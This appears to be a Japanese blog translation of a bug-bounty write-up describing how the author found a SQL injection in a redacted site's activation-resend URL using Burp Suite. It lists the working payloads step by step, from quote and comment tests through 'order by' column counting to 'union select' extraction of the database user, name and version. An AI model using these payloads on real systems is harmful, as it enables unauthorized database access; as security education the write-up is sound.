Shikata Ga Nai

Private? There is no such things.

How i got easy $$$ for SQL Injection Bugを訳してみた

Hello there, ('ω')ノ

 

SQLインジェクションのバグで$$$を簡単に入手した方法を。

 

脆弱性:

 SQLインジェクション

 

記事:

 https://rafipiun.medium.com/how-i-got-easy-for-sql-injection-bug-7ff622236e4c

 

ツール:

 Burp Suite

 

今回のターゲットをRedacted.comと呼ぶことに。

 

コンセプトの証明 :

1.新しいアカウントにサインアップして。

2.指示に従って進むと、下記のページを手に入れて。

 

f:id:ThisIsOne:20211005184414p:plain

 

3.下記のURLを取得できて。

  https://redacted.com/user/activation/xxx/1325589

 

 1325589は、自分のユーザIDで。

 ウェブサイトにSQLインジェクションがあるかどうかを試すために。

 一重引用符( ‘)を上記のURLに追加したものの、見当たらず。

    

4.しかし、ページが再び表示される場合は。

 ページに「アクティベーションリンクを再送信」ボタンがあるので。

 インターセプトをオンにしてボタンをクリックして。

 

5.下記のようなリクエストとレスポンスを受け取って。

    応答は、自分にリダイレクトされていて。

     Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green

 

f:id:ThisIsOne:20211005184444p:plain

 

6.なので、一重引用符を追加してリクエストを変更することに。

  GET /resend/activation/1325589'

    すると、自分にリダイレクトされて。

  Location: https://redacted.com/signup_page/xxx

 

f:id:ThisIsOne:20211005184506p:plain

 

7.次にリクエストに『--+-』を追加してみると。

  GET /resend/activation/1325589'--+-

 

 応答は先ほどのデフォルトの要求に変換されるので、SQL Inejctionを確認できて。

  Location: https://redacted.com/user/resendactivation/xxx/1325589/?smsg=green

 

f:id:ThisIsOne:20211005184531p:plain

  

8.次に「order by 5」を追加してみると。

    応答がFalse状態に変わるので、列は5個なくて。

  GET /resend/activation/1325589'order+by+5--+-

 

f:id:ThisIsOne:20211005184552p:plain

 

9.「order by 4」を試しても失敗して。

10.「order by 3」でリダイレクトして成功したので、列は3個で。

 

f:id:ThisIsOne:20211005184611p:plain

 

11.なので、下記の「union select」を試すことに。

  GET /resend/activation/1325589'union+select+1,2,3--+-

 

    リダイレクトされた応答を確認すると『』を得ることができて。

     Location: https://www.redacted.com/user/resendactivation/xxx/3/?smsg=green

 

f:id:ThisIsOne:20211005184633p:plain

 

12.今度は、3番目にSQLクエリを挿入してみるとユーザを取得できて。

  GET /resend/activation/1325589'union+select+1,2,user()--+-

 

 リダイレクトされた応答は下記のとおりで。

  Location: https://www.redacted.com/user/resendactivation/xxx/XXXdmin@XXX/?smsg=green

 

f:id:ThisIsOne:20211005184655p:plain

 

13.最後にデータベース名とバージョンを取得してみることに。

  GET /resend/activation/1325589'union+select+1,2,concat(user(),0x3a,database(),0x3a,version())--+-

 

f:id:ThisIsOne:20211005184711p:plain

 

Best regards, (^^ゞ